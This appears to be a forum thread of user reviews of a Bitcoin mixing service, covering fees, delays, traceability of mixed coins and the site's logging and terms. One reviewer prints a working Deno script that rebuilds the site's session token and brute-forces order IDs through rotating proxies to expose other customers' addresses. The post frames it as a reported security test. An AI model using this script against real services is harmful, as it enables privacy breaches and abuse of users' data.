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Tumbler review

About tumbler code:

Personally,  I don't like the idea of a tumbler code. I understand that this is important so that you don't receive your coins back. However, this is a minor problem considering that this can be used to connect different mixing sections.

As you might know, when chipmixer was seized they also got their hard drives with lots of information.  I am curious about what information do you keep associated with Tumbler Code. It could be nice to share what kind of information is stored.

mobile
Firefox Beta Android version 118.0b9
Android version 13

Premium
Two receiving addresses
Delay between 44 and 55 minutes. Fee 3.64%
This combination gave me the maximum anonymity possible according to the website



overall price
I sent a small amount , 0.0011 btc. I received back only 0.00067.

I understand that there a lot of mining fees, but it would be nice to see a mixing option with lower hops for small amounts. Just receive some else's coins minus fees would be nice for small amounts.

Deposit Address
I was surprised to see a P2SH address format (starting with 3) for the deposit address.

I suggest to upgrade all deposit addresses to native segwit format, bech32 (starting with bc1..) so everyone save money in fees.
You can save about 25% on fees in each transaction just by using bech32 in both sides. This may look small, but as a mixer needs to make many transactions, this may save a lot in the long run.

Order ID
The letter of guarantee was very simple and straight forward, containing all information that was necessary.
It was a .txt file which opened in my default android file explorer app.

I liked the interface of the Order ID, and the URL was easy to save and share if needed.

after mixing completed
At the bottom of the page i saw this information,  which is very good to see. I hope you really delete the order information.

Quote
Order information is automatically deleted after XX

coins received
The transaction I received can be improved in a few ways:

First, the transaction overpaid fees a lot. It paid 53 sat/vbyte, it could be easily confirmed with about 25-30 sat/vbyte.

Blockchair identified the change address and classified the transaction privacy as Critical.


https://blockchair.com/bitcoin/transaction/6f39d73ca4988bcd65dc91f2d64ea87f5b787526d09778c5681a58439a12f049

the transaction had 1 output of different type, so it is obliviously the recipient. Tumbler uses P2SH and I received in my bech32.

Also, one of the outputs, the change, is much smaller than the recipient. Which suggests that it is the change.
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I was super busy whole week and plan was to do most of it on Saturday from them moment I have seen deadlines. Did not see the exact hour of the deadline so I assumed it is Saturday end of day forum time.

It will be up by then for sure. Hope that is ok.
All good. It's Saturday the 30th, until 23:59 UTC time :-D
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A remainder to the following users as the deadline is going to end tomorrow for Group-1
I was super busy whole week and plan was to do most of it on Saturday from them moment I have seen deadlines. Did not see the exact hour of the deadline so I assumed it is Saturday end of day forum time.

It will be up by then for sure. Hope that is ok.
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Review [banned mixer]

Username: Gladitorcomeback

Whenever we choose best Bitcoin mixer we will first look how strong the anonymity feature of each mixure. Strongest the anonymity, privacy will more secure and as a result better will be this mixer. Besides Anonymity Fee, Mixing time, logs policy, verification process, customer support, track record , security and interface should also be check which will define how good one mixer is. In this review I will check all these feature of Tumbler mixer.

It is said in Arabic that "تعرف الاشیاء باضدادھا" which English meaning is " You know things by their competitors" so I will also compete all features with other competitor mixer so it will be easy for us to know that pros and cons. So I chose 2 other mixers Sinbad and Unijoin  from 2023 List Bitcoin Mixers Bitcoin Tumblers Websites . I don't just trust what they claim in their website but checked by mixing btc in all three mixers. I know I have to pay more fee when using all three mixers but I want a better results to satisfy myself to provide best review.

Remember that when I review, I will choose only best mixer to compete with [banned mixer] and also will use other mixer instead of mentioning name of other mixer. For example the fee of Sinbad is 0.5%  and Unijoin 2% then I will say that other mixers charge 0.5%


Opening website:
I opened all three websites at one time in chrome browser, [banned mixer] opened instantly without any verification while sinbad and Unijoin prompted for connection secure bot. I repeated this action again and this All mixer sites opened without promt but speed of [banned mixer] is fastest than all. Then I checked 3 other sites in the list but all have some kind of problem. some say that not available in your region, Mixy was declared malware attack so I can say confirmed that [banned mixer] site loading page is faster than any other mixer site.

Tor browser:
[banned mixer] is opened quickly like chrome. I didn't face any page opening issue single time.

Mobile:
I checked the site in the mobile browser to check how much it is mobile friendly and result is better then my expectations. Actually i am saying this because I checked some other mixers sites I doesn't want to mention here which result was very poor

Some Information before mixing:
Before Going to mix Its necessary to check what feature any mixers provide. We will check Delay time,Fee, Address support, customer support

Delay:
Tumbler: O hr-72 hr
Adjusting time= by minutes
Unijoin: 2 hour -72 hours
Adjusting time= by minutes
Sinbad: O h - 168 hours.
Adjusting time= by hours

Review: Satisfied with minimum hours but
 Maximum hour range is not competent with some mixers. It should be at least 168 hours which Sinbad is already providing.
Adjusting tome is quite best as Tumbler provide minute change option which is best for making transaction more anonymous. Other mixer provide also minutes and some mixers just provide change in hours.

Fee:
Mixer| [banned mixer]| Unijoin | Sinbad |
Fee| 0.4%-5%| 1%-3%|0.5%-2.5%|

Review: In the whole mixer list [banned mixer] is only mixer which starting fee is cheap as 0.4%. The best choice for users who are looking for a cheap mixer. Maximum fee is 5% which is higher than many mixers but it depends upon the user's choice how much one wants to adjust it according to security.

Address supported:
Mixer| [banned mixer]| Unijoin | Sinbad |
Address support | legacy(P2PKH), P2SH, Segwit| legacy(P2PKH), P2SH, Segwit,Taproot|legacy(P2PKH), P2SH, Segwit,Taproot|

Review: In term of address supported, [banned mixer] is not good competent to other mixers as other mixers supported almost all btc address while [banned mixer] still not supporting taproot. [banned mixer] should support all services so that maximum users are able to use them.

Faq:
Faq has almost all necessary questions which one user needs before mixing in any mixers so this is ok from my side.

Logs history :

Mixer| [banned mixer]| Unijoin | Sinbad |
Transaction Log History delete after| 24 hours| Not Keeping |Not Keeping|
Support History delete after| 48 hours| Not Keeping |Not Keeping|
Review:
A good mixer/tumbler didn't keep any type of history for long time to secure whole process. [banned mixer] keeping transaction history for 24 hours support history for 48 hours which is not good where as other competitors/mixers not keeping any log. The good thing is that we can delete this history anytime we want but automatic delete should ne reduce to atleast 24 hours.


Customer support:
Mixer| [banned mixer]| Unijoin | Sinbad |
Customer Support | Got reply in 10 minute| waited for long time| In 2 minutes|

Review: [banned mixer] customer support is not good enough while some other mixers have very fast support services which also provide telegram support , fast enough and available 24/7.


Mixing Process:
I used both all three mixers to check anonymity, fee, speed and other features. so below are my results.

Security level: Basic, Service
fee:  1%
Delay:  03:33
Browser: chrome (window 10)
My address type: bech32 segwit

Mixer| [banned mixer]| Unijoin | Sinbad |
Tracking Transaction | Instant | 1 confirmation |1 confirmation|
Transaction process |1 Confirmation|2 confirmation |After 3 confirmation|

Review:

Speed:
[banned mixer] track my btc instantly in just 1 minute after sending btc which I think is much faster than other mixers. I used Unijoin and Sinbad at the same time but both mixers track after one confirmation.
  Moreover Tumbler needed only 1 confirmation for payment process. By using all three mixers I found that [banned mixer] is fastest one to track and process fund.

The whole transaction process went smoothly and I got no error. I received the exact fund in my wallet at the exact time that I adjusted(3 hr 32 minutes).

User Fee:


 Although [banned mixer] offers 0.4% service fee which is lower than other competitors but every wallet fee is 0.0002btc which is costly while some mixers like Unijoin only charge basic fees.  I mix 0.0015$ using basic service and receive 0.00128500 BTC while in Unijoin i mixed 0.0012 btc and recieved 0.00114560BTC so in term of overall fee [banned mixer] not good competitor. Above picture is payment recieved history when I mixed 0.0012btc with excellent and one can see the fee difference clearly.

Mixer paying fee:

 As I already said that transaction speed of [banned mixer] is very fast but they waste lot of fee on each transaction. In above image you can see clearly that Tumbler wasting more than 4x fee from Unijoin which is not needed. It will be better to use the normal fee(at that time 36 Sat=1.34$) and reduce the per wallet fee which is extra burden on users.

Security level: Good
Service fee:2%
Delay: 0 Minutes
Browser: chrome (Android)
My address type: Base58 (P2SH)

I used Base58 (P2SH) this time without using mixing code and mixed 0.0012btc. The same as the above transaction tracked instantly and received my payment instantly after one confirmation. This time I used only [banned mixer]

Anonymity:
I checked out full history of linked address and happy to say that it doesn't linked with my previous address. Now I am totally satisfied that If I used a good level service my Bitcoin privacy will be secure but one thing is that these addresses received btc from Segwit bech32 address and I don't know If the fund in the address I received was mixers own stock or was user fund recently sent for review. Anyway I will suggest keeping funds at more than 50 addresses so that anonymity (main purpose of Mixer) becomes stronger.

Security level: Excellent
Service fee:4%
Delay: 3 hours 45 minutes .
Browser: Tor (Android)
My address type: Legacy


This time I used legacy(P2PKH) address and used all three mixers. The results appeared this time is more better and I recieved btc from address. I checked the address which is long chained with other addresses but none of any of my previous addresses linked and This time Noted that address have big fund than previous ones. I am completely satisfied with the speed and anonymity but will suggest bech32 which has stronger anonymity than Base58 (P2SH) as i checked in other ms mixers which have a long list of addresses chain to address from which I received btc.

Over conclusion:
I concluded result of [banned mixer] review with other mixers in one table. I will categorized review in poor, average, good, best and excellent. If any feature is better than all other mixers I gives excellent, If other also has but I am fully satisfied then I gives wrote good. If any feature is good but lower than other than good and If any feature is very lower than other mixers than I gives poor review .



Pros:
▪️Tracking funds are very fast
▪️ Only one confirmation for fund to release
▪️ Fully anonymous
▪️ Minimum Service fee is very low
▪️ Website page opening speec is fast then other mixers
▪️ Fully mobile friendly with automatic refreshing when need update
▪️ Interface is so easy to understand
▪️FAQ us well organized
▪️Best compatible with Tor browser

Cons:
▪️Only using 3 address which is easy to track which mixers used
▪️ Over all fee is much high
▪️ Support service is not so good as sometimes I have to wait long for reply
▪️ Support chat history remain for 48 hours which is not good for mixers
▪️ Taproot address not supported yet
▪️ Sending btc after 24 would be considered loan, why not refund?
▪️No captcha at the start which could lead to DDOS attack

Suggestions:
▪️Using only type address is not good so i suggest to use different types of address for both deposit and withdraw. It will increase the anonymity.
▪️Try to hire some user for support chat for fast reply and if possible add telegram support also.
▪️Fee/address is bit high and it should be completely removed or decrease otherwise  people like me will never look for this mixer.
▪️Add strong protection to the site to save it from any malware/DDOS attack because when thia mixer become competent with other than these attack will smbe surrounded.
▪️ [banned mixer] spending high fee than normal which is just extra money wasting so try to keep it normal.

Note: [banned mixer] is improving their system so I can update if any further changes i noticed.
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Always fun testing mixers. Smiley

Website

The website is clean, a typical modern website.

"Many positive customer reviews on forums speak about [banned mixer]'s reliability and solid reputation." -> maybe link some of them, otherwise it doesn't matter what you say. I personally would trust you *less* if I came to the website today and saw this, because it means you probably only wrote it to appear more legit (you don't have the solid reputation yet).

I like that you're mentioning Bitcointalk on your FAQ because it probably means you value this community. If you do something wrong, there is a higher chance you'll listen and do the right thing.

The clearnet website is using DDoS-Guard, far from great but I guess this became a bit of the norm since mixers keep getting DDoS'ed... what about warning people about the risk of using a third party proxy middleman and maybe recommend users to use the Tor mirror?

A question about the tumbler code: How do you keep track of which coins are related to that user? For example, I send from my address X to your mixer address A. Then I come back later and mix again with my code. How do I *NOT* get the coins from mixer address A? If you're saving that information on your database, isn't this a privacy issue?



The mixing

I went to the mixing page and inserted two addresses, one to receive 24.18% with a delay of 7h 9min and the other to receive 75.82% with a delay of 1h 13min, selected a cheap service fee of 0.42% (basic security).

I like the "anonymizing meter" but I feel like its guidelines should be inserted directly in the page (rather than on the hovered icon). Also, there should be more suggestions when the meter is low. For example, if I insert one address, select the minimum fee of 0.40% and a delay of 0h 0min, I see:

Quote
"X Input at least two receiving addresses or more"
"X Do not leave the Fee slider at the minimum value"
"X Do not choose the minimum delay"

"Check out the Blog section for more information [...]"
By putting it on the body, you can link the blog post directly on the message and even make every item suggestion clickable with an anchor directly with the explanation to why that is so good on a blog post.

I downloaded the Letter of Guarantee and verified it correctly with Electrum.

0.0002 BTC fee per address seems a bit too much, no? Every extra address weights around 34 bytes, at 100 sat/vbyte that's less than $1. Even if you say that an extra address with a different delay implies an extra transaction and thus an extra fee, that's tipically less than $2 per tx (1 input, 2 outputs w/ change) on 40 sat/vbyte. It's only fair if fees are at 100 sat/vbyte and beyond.

Before the delay time has passed, I tried mixing once more. I purposely chose a time that would match with one of the address of my first mix so I could compare both transactions. This time I selected a fee of 1.81% (Standard).

Quote

Quote

First one was sent at 13:48, the second one was sent at 13:41 - a difference of 7 minutes.

- Both used the exact same fee, 6501 satoshis (38,9 sat/vbyte).
- Both fees were OVERPAID by 2x (16 sat/vbyte has high priority at the time).
- Both came from a 0,001 BTC input (not the same, though).
- My mixed coins from Mix 1 came DIRECTLY from the address I deposited the coins to on Mix 2. Of course using the mixing code from the previous order probably fixes that, and I also used the cheapest fee option, but still... it doesn't look great. I believe coins should move around a little bit more before they are sent straight to a new customer.
- The last (third) output, with a delay of 7h 9min (far away from the others), was sent with a fee of 6532 (39.8 sat/vB), a bit more and still overpaid.
- All transactions had their change address identified by Blockchair, maybe because a 3-type address sent to a 1-type address and the change was also a 3-type address? What about mixing address types on your backend (deposit address that start with 1, 3, bc1; and outputs also sent from addresses that start with 1, 3, bc1).

Quote
-----BEGIN LETTER OF GUARANTEE-----
Signed message: We hereby confirm that [banned mixer] has generated the address 37DfhXfSYMNE9c7exVmJRVZJvUp22m7Fde in order to transfer incoming amount (minus fee) to the following addresses: 100% to 19MiffThdEWGZaEwDdWVMrQGHPCngH4qcW after 81 min. This service will be only available for all bitcoins received from 2023 September 26, 15:16:12 UTC to 2023 September 27, 15:16:12 UTC with minimum amount of 0.001 BTC per single transaction and maximum amount of 10 BTC total. Our fee is 1.81% + 0.0002 BTC for every target address. This letter is digitally signed by our main account: 1TUMBLRXHDjFZacmFLbuDn2Rw1rcPgacR. Order ID: GZKSHY91-1D9JKO. Stay protected and thank you for using our service.
Bitcoin address: 1TUMBLRXHDjFZacmFLbuDn2Rw1rcPgacR
Signature: GyCzCfcBwYt65dU08EZORjzDUbApn+bCTOqgvl5BO3kNN8Uv2q4IkqV2gyKNCHpXTsmq1o2m4TWy23OzAnr+XTg=
-----END LETTER OF GUARANTEE-----



After the 24h was completed, I checked my order again and it was sucessfully deleted. The API confirmed it:



For a third mix, I tried sending coins and then cancelling my tx though RBF. It was detected after some time and a message showed up: "An error occurred during order processing. Please "contact support (what if I resend it? Nothing showed up, so I cancelled it again).

I didn't check any of the mixed coins for their compliance (AML) risk, but since the mixer is new, probably still unmarked, and one of my coins came directly from another customer (which was also me in this case), it's probably as low as a typical blockchain user that takes crypto payments OR even even as high as a darknet market vendor if you're unluck and you receive those coins directly from his deposit address. In this case it would go in the low risk cattegory.



Hacking attempt...

I wanted to try something different, so after noticing that there was no captcha required on the order page, I wrote a script that brute forces sessions as an attempt to find someone else’s randomly. Assuming a order id format "XXXXXXXX-XXXXXX" and 36 characters (A-Z/0-9), there was 36^14 possible ids. Maybe too much? Still, I wanted to try. Grin

First thing was reverse engineering the obfuscated source code of the website to find out how the page session called fud is generated. After a few hours I managed to do it. Then I got some paid proxies to make the job easier (around 100).

This is the code I used:

Code:
import { crypto } from "https://deno.land/[email protected]/crypto/mod.ts";

let proxyNum = 1
let hasFound = false

const proxies = await Deno.readTextFile("./proxies.txt")
    .then(proxies => proxies.split('\n')
        .map(proxie => {
            const [, ip, port,, username, password] = proxie.match(/(\d+\.\d+\.\d+\.\d+):(\d+)(:(.*):(.*))?/) ?? []
            return { ip, port: Number(port), username, password }
        })
    )


function generateRandomString() {
    const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    let result = '';
  
    for (let i = 0; i < 8; i++) {
      result += characters.charAt(Math.floor(Math.random() * characters.length));
    }
  
    result += '-';
  
    for (let i = 0; i < 6; i++) {
      result += characters.charAt(Math.floor(Math.random() * characters.length));
    }
  
    return result;
  }

function arrayBufferToHex(buffer: ArrayBuffer) {
    const hexBytes = [];
    const view = new DataView(buffer);
    for (let i = 0; i < view.byteLength; i++) {
      const byte = view.getUint8(i);
      hexBytes.push(byte.toString(16).padStart(2, "0"));
    }
    return hexBytes.join("");
  }

function md5(value: string) {
   return arrayBufferToHex(crypto.subtle.digestSync('MD5', new TextEncoder().encode(value)))
}

function getProxyClient() {
    const { ip, port, username, password } = proxies[proxyNum - 1]

    proxyNum += 1;

    if (proxyNum === proxies.length) {
        proxyNum = 1
    }

    return Deno.createHttpClient({
        proxy: {
            url: `socks5://${ip}:${port}`,
            basicAuth: {
                username,
                password
            }
        }
    })
}

async function request() {
    const start = 2000000000
    const end = 9999999999
    const rand1 = (Math.floor(Math.random() * (end - start + 1)) + start)
    const rand2 = parseInt(new Date().getTime().toString().substring(0, 10));
    const fud = '' + rand1 + (rand1 - rand2) + md5(rand2 + 'hide').substring(0, 5);
    
    const baseUrl = 'https://[banned mixer]/api/order'
    const orderId = generateRandomString()
    
    const client = getProxyClient()
    const form = new URLSearchParams({ order_id: orderId})
    
    const response = await fetch(`${baseUrl}?fud=${fud}`, {
        method: 'POST',
        headers: { 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8' },
        body: form,
        client
    })
    
    try {
        const json = await response.json()
        return { result: json, orderId }
    } catch (error) {
        throw new Error(error)
    }
}

const luck = async () => {
    try {
        const { result, orderId } = await request()
    
        if (result.error) {
            console.log(`Error: ${result.error} [${orderId}]`)
        } else {
            console.log('----------')
            console.log(`Order Id: ${orderId}`)
            console.log(`Deposit Address: ${result.result.address}`)
            console.log(`Outgoing Addresses: ${result.result.data.form_addresses.map((address: string) => address).join(', ')}`)
            console.log('----------')

            console.log(result)

            hasFound = true
        }
    } catch (error) {
        console.log(error)
    }
}


while (!hasFound) {
    const attempts = Array.from({ length: 25 }, () => luck());
    await Promise.allSettled(attempts)
    await new Promise(resolve => setTimeout(resolve, 250))
}



After running it for some time, I couldn't find a single session and my proxies started to get blacklisted. No luck!

Still, I managed to brute force check a few thousands of possible order ids. My suggestion: Don't let a single IP check 10k sessions, rate limit it after 10 sessions or so... A legit user won't need more than that and, if you're too lenient, a chain-analysis company can easily get 10k IPs and check as many orders as they can (Will they? I don't know).



I also tried intercepting the requests and playing around with the params before they are sent.

Modifying the address to a invalid one returns: "Invalid param form_addresses[]"
Modifying the form_fee to a invalid one (i.e 0.05) returns: "Invalid param form_fee"

No tricky playing around allowed since everything is checked on the backend, nice. Cheesy



Other stuff

- Even before the transaction confirms, the API already returns a deleted_at field with the unix time of 24h in the future. What happens if the transaction takes longer than that to confirm? Is the order deleted anyways? If that's the case, maybe only start the timer after the tx is confirmed? edit: The order which deposit tx I cancelled with RBF is still up, so I guess it isn't deleted UNTIL everything gets cleared.

- Following the last question, what happens if my tx is dropped from the mempool, the order is deleted, and then my wallet automatically rebroadcasts it? I guess the Letter of Guarantee is enough to prove that I sent my coins to address X and didn't receive my coins to address Y (output), right?

- You're new, of course, but put an avatar and card on your twitter account so you don't look inactive and careless (Grin): https://twitter.com/tumbler_io

- Extra suggestion: let people deposit multiple times before they receive their coins. For example, I can send 0.001 BTC from my address A to your deposit address X + send 0.003 BTC from my address B to your deposit address Y. My output will be 0.001 + 0.003 = 0.004 BTC. This makes it so the output can also be higher than a single input transaction (A alone, or B alone).
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Here we go, my test of [banned mixer]

Since this was a test as much as you can and not a tutorial I've tried to do a few stupid things, that's why I tried the second time to test an already highlighted issue. Two tests plus another one that will end in under 24h, 2 browsers Chrome, and Firefox over clearnet with basic and intermediate and TOR

First impression from browsing the website

Website speed
To be honest I'm actually impressed since playing around over a ton of VPNs it loaded flawlessly, USA, South Africa, Australia, and Korea and I had no loading issues whatsoever, impressive since on the ann topic I've read about a continuous DDOS. Same with TOR, no hiccups!

Going through the FAQ:
- the Javascript thing, it's been said a lot of times it's vulnerable, the claims about the website not being able to run without, mixed feelings about it

The TOS page:
Quote
In addition, You accept not to use any Bitcoin created, received, or granted in exchange for or as a result of any illegal activity in "The Service". The prohibited activities in this section include, but are not limited to, the following prohibited activities:
~
- providing debt settlement service or credit repair;
- obvious sexual content.

You must be joking!   Roll Eyes

Quote
"The Service" may carry out verification and control of illegal activities with the help of a third party under a contract. "The Service" may terminate Your access to "The Service" with immediate effect for any reason

How do you terminate my access?  Grin

Language settings:

Browsing through the website, and changing the language makes you go to the first page. Not the thing you want to experience the first time when you're using the website and have already mixed some coins cause from
https://[banned mixer]/order#xxxxx
you're sent to
https://[banned mixer]/fr/
Tried to break something else with this over browsers but I never managed.

The test themselves

Going to the mixing itself - Basic

  • - good that you made it idiot-proof so that I can't start the mixing after pasting the same address in the fields!
  • - nice touch on the sliders, although I think it's a bit of over exaggeration on the tiny amounts, but a plus+1 for not allowing me no matter how much I've tried to do a 50/50
  • - not sure how the estimator works on the obfuscation but I don't think it should give a good score to a tx such as this

  • -order of guarantee downloaded fast, has all the info, personal opinion the to the minute thing is cheesy overkill but it works.


* I understand people want coins as fast as possible but exactly 0 and 72 hours should in my opinion not be selectable, same for splitting, if we're mixing things don't allow the option to have the funds getting returned at the same time, kind of defeats the purpose.
* the fees estimator is a plus for actually telling what happens if somebody decides to use 5 addresses and still send 0.001 which would cover just the extra address cost, but again, this is a personal opinion but I would simply not allow someone to mix this: 0.00156447 BTC to have that split over 5 address and receive 0.00053602 it makes no economical sense.
I know the value of $1 is different across the world and privacy has no price but this is just wasteful, you're not making too much out of it since you do overpay a lot and if the fees go back to 50sat and you still pay 3x, we know the end result here, right?

Now fast forward, sending the coins, and waiting for the timers all was fine, again impressed that indeed the tx were broadcasted on the minute as I was watching those to see if it's really automatic and not again a single operator giving the go-ahead.

Issues with the mixing
  • Checking the first tx I was so glad they overpaid 3x times, I looked at the topic, so what the first two members had to say and...I knew it. It had to be, I knew it was coming! The other tx had the exact fee, weight, virtual size!
    And the same happened for the next mxiing and half of the current mixing.

  • Another problem is that it overpaid by a lot, I'm somewhat of a mempool overserver myself and I know how estimators can get it wrong and why, so my first test was on Tuesday block 809433 took 30 minutes and raised the fees, 809423 somebody dumped a shitload of tx and the minimum went from 7 to 25 sat/b, I understand that estimators can get it wrong and you have to be fast and not get any tx stuck but those just stick out.

I don't know what others that are mixing through the day are getting seeing 39.7 39.2 and 39.5 in each mixing I assume every tx sent at a certain time gets the same fee. You need a randomizer here, if I'm totally unlucky I can end with 10 addresses funded with the exact fee which is unique by itself in 24 hours among thousands of others.  Your average Joe won't be able to tell the tx apart, but this will be broken in seconds by large tracking companies that have the resources to track tons of data.

  • The mixing itself for the basic is really basic, my coins were just moved two steps, and it uses the same pattern, combined this with the same fee pattern it makes tracking as I said previously extremely easy. Again,  I understand economics, I know that fees would much a lot in the process and that tumbling 10 times some coins for each address deposit would make you lose money on an under 0.05 order but the results are a bit bad.

One thing I do appreciate is linking for a review to bitcointalk after the order is completed, nice touch here.

The second mixing - Standard
Pointing out the differences

  • I was going to use a very low fee and just see what happens when the order is not completed in time but then I saw the other issues and just decided to bump the fee, as expected, it considered it a second deposit. This shows that you need to take a better at look at the fees and mempool mechanics, there are situations when even paying the next block fee might not be enough, some exchanges dumping a shitload of tx might make you miss the time and thus you RBF, this should not be an issue it will only overwhelm your support with things that can be avoided.
  • The mixing results themselves, intermediate is let's say just one step further than basic, the source funds seem to be a bit deeper but it's a matter of steps as I can see the link to my previous coins there. My feeling right now is that you either have a limited pool or you don't want to release too much of your "clean coins"  in it and use a too high percentage of the current deposits. From my limited experience till now, I wouldn't pay for intermediate for anything other than trying to do some casino depositing or something.

The pros
- relatively simple to use, if you're trying to mix coins and you already have enough experience you're not going to get stuck there
- normal fees, let's say it's the median across services
- the calculator is pretty convenient
- the timer and the address funds splitting work as described, features that are a must-have
- the funds arrive on time,

The not completely con, the little ones that can overlooked
- a bit inconvenient to recreate the order page, but a good thing to put it in the letter
- the language changing reset
- the ToS but I think that's just basic material you put it there to have something, not that you're enforcing otherwise it will be top worst thing

The real cons
- the exact fees for each tx, need some finetuning
- basic and intermediate are just moving coins around I would say they are both indeed basic
- issues with replaced transactions, needs to be fixed

Things I'm not sure of how they work and might be a negative too:

I'm a bit concerned about those tumblers codes, how does it track the amount mixed?
I understand if it's a fee reduction coupon as it would just need that code on the current transaction and so, but how is your system able to know how much was mixed based on that, it simply means you're tracking and storing the amounts made with a coupon. Second, what prevents me from telling all my friends and inner circle the code and abusing the system?
legendary
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My [banned mixer] Review


I spent last few days checking out Tumbler website and testing how mixing is actually working.
Tumbler website is opening fast both on clearnet and on Tor using onion addresses, I didn't have any issues with slow speed when opening pages.
Website design is ok, it's clean, and I didn't notice any big spelling mistakes, but first thing that caught my eye was Absolutely Reliable claim on main page.
Either Tumbler has hired gipsy fortune teller or they have top secret time traveling machine when they are already claiming to have many positive customer reviews on forums, and they just recently started this service.
Note that after finishing my mixing I was presented with a button to write a review, and it was redirecting only to their bitcointalk forum topic.


?!

Quote
Domain Name: [banned mixer]
Registry Domain ID: a125c22891314450a0ca936b538ab16f-DONUTS
Registrar WHOIS Server: whois.gandi.net
Registrar URL: https://www.gandi.net
Updated Date: 2023-09-04T05:47:04Z
https://www.whois.com/whois/[banned mixer]

Fees page is saying that fees are smaller when larger amount of Bitcoin is sent for mixing, and they still boldly claim that for 100 or more BTC there is 50% discount and 0.20% service fee.
I will have to say that I really suspect they have 100 or more Bitcoin, unless they are using other centralized services, but I will talk more about that later.
When they first appeared in bitcointalk I asked them this question and I think they rchanged 100 btc claim to 10 btc in FAQ page, but it's still there in Fees page.



After I finished reading FAQ and Fee page (everyone should do this) I continued to mixing page.
This page opens sometimes with simple Captcha security and sometimes without it, but it's easy to understand everything.
There are three types of Service fee, and first I used BASIC level with my Tor browser, with delay that showed Good Anonymizing meter at the page bottom.


 
I can confirm that up to 10 addresses can be used for receiving coins from Tumbler after mixing, but I didn't use all of them, it's waste of fees for smaller amounts.



This is where I received my first error or bug while I was testing Tumbler, and I was asked to refresh browser and continue.
I talked with Tumbler Support team and they responded within 20 to 30 minutes, but I was not given any explanation why this happened.
My theory is because I had multiple tabs from Tumbler website, don't I can't be sure of that.
Here are few screenshots with error and my conversation with support:

 

After refreshing the page I needed to start all over again, I sent my coins and I downloaded Letter of Guarantee.
After waiting period was finished I received coins on my address, minus service fees, and I didn't find any connection with my previous coins.



However, I did found connection with something that looks like big centralized exchange, so it's possible that Tumbler is just using their exchange account for ''mixing'' coins.  Tongue
I can't prove my claims and I didn't have time for deeper blockchain address analytics, but I would liker to hear how Tumbler can explain this.
Centralized exchange have nothing to do with Coinjon that is mentioned on Tumbler website.
Anyway this ends my first testing with Tor browsers and basic security level.

For second browser I used Brave browser and I switched to dark theme on Tumbler website that looks nice for a change.



This time I used higher fees and Basic Security Level, but I didn't see any significant change in blockchain explorer after mixing was finished, except that I was charged more.
There was no connection with my previous coins and I used code from previous mixing, but I didn't notice any coinjoins in transaction history.





Tumbler worked almost the same with both browsers, Tor and Brave browser, but I received one error only with Tor browser.

After mixing was finished there was clock countdown until order information will be released, but I think it would be better to add option manual deletion by user.
I can't verify if this will really be deleted properly or not, but I will check and confirm here what is going to happened after times expires.



I also want to use manual delete option for Support chat.
I talked with support once but this link will be available for 48 hours, but manual delete option should be added from user side.

Conclusion:
Overall I am really suspicious towards all new mixer after few recent incidents that happened, and Tumbler really needs to explain several things regarding their mixing process.
If they are using third parties and centralized exchanges than I would not recommend anyone using this website for mixing any larger amount of coins.
There is a a chance coins could be rejected or confiscated for whatever reason, and I didn't see any proof that Tumbler owns 100 or even 10 BTC.
Lot of improvement is needed and only way forward is to be honest and transparent as much as possible, I know this is paradox for mixing service, but it must be like that.
Until I see more clarification from Tumbler I won't use or recommend their service.

PS
There is a chance I could change/update my review in next 48 hours.
legendary
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Farewell, Leo
To all the reviewers: When hiding addresses in your images, take care of hiding the entire text. If you let a couple of characters visible then it's trivial for anyone reading to figure out the entire address.


Reviewing [banned mixer]

Mixers are increasingly becoming less appealing as solutions when compared to trustless techniques like coinjoins and XMR swaps over time. Therefore, for a mixer to be deemed competitive in today's landscape, it must meet a plethora of criteria. For that reason, I will try to be as much strict and constructive as possible.

1. First impression
I'd like to comment a couple of things before I make any deposits. Let me break them down.

Security
  • You rely on javascript. I strongly recommend you to either let people audit the code of both your front-end and back-end, or get rid of javascript completely. As far as I can tell, you're using /js/172201f7603a4c7f9dae6231933cbbde.js]jQuery which is known to suffer from several vulnerabilities. Can you tell which version is it? You should not use anything beyond the latest version, as it is known to having vulnerabilities. These particular XSS vulnerabilities can let an attacker inject malicious code into your page. (I don't believe you really need javascript, there have been large mixers without javascript in the past)
  • /2356646]You have not DNSSEC enabled, which can significantly reduce the risk of various DNS-based attacks, such as DNS spoofing, cache poisoning, and man-in-the-middle attacks.
  • You have not set the Content-Security-Policy header (which protects from cross-site scripting).

Privacy policy
I'm a little bit hesitant to using this mixer after reading its privacy policy. So, I'm basically agreeing that [banned mixer] implements coin filtering and I'm forbidden to using it if my coins are included in some illegal activity. I'd expect better policy from a service that is trying to enhance Bitcoin's privacy (and coincidentally, its fungibility).
Quote from: https://[banned mixer
/terms]4. PROHIBITED ACTIVITIES and COIN FILTERING

You accept not to engage "The Service" in any illegal activity or not to use "The Service" to adversely affect the performance or provision of services by "The Service". In addition, You accept not to use any Bitcoin created, received, or granted in exchange for or as a result of any illegal activity in "The Service".

[...]

COIN FILTERING

"The Service" may carry out verification and control of illegal activities with the help of a third party under a contract. "The Service" may terminate Your access to "The Service" with immediate effect for any reason - including, but not limited to, illegal or prohibited activities, at its sole discretion, and is not obligated to reveal the details of its decision.
You accept that "The Service's" decision to take certain actions, including termination for any reason at its sole discretion, may be based on confidentiality criteria that are necessary for "The Service's" security protocols and risk management. You accept "The Service" is not obligated to reveal to you the particularities of its security and risk management processes.

In addition, the user has to accept that they will not be revealed the reason their coins were rejected. I want more information and explanation on this. Why are you doing it? Bitcoins are fungible. Why do you treat the currency as non-fungible? It harms it as currency. How can the user trust a service with the aim to improve fungibility if the service itself doesn't treat it likewise? And which is the procedure followed if you deem their coins as "tainted"? Do you return them back to their address? The user will hesitate to using this, if there's a chance to confiscate their money (which seems to be).

The rest of your privacy policy seems fine.

Your FAQ page
Was this written on the go? Looks sketchy. There are lots of spelling mistakes like "brake", "concerned as a donation", "P2SH or Compatibility Address Format" (since when is P2SH called like that?).

I find your FAQ ambiguous.
  • For example, in "Can I trust with you large amounts of BTC", what should the user do in bitcointalk anyway? Leaving it in splitting the amount in multiple deposits would be fine.
  • Another question that comes to my mind is: is the user charged the mining fees? In other words, do service fees include the mining fees? You should clarify everything when it comes to the costs.
  • In "Do you save any logs?", I'd correct it to "We do not keep any logs". You do save information, otherwise you wouldn't be able to delete it.  Tongue
  • You're writing "We use a TUMBLER CODE to be sure that you will not get your funds back". I'd change it to "We use a Tumbler code to be sure your coins will not have a blockchain connection". The former looks just bad.
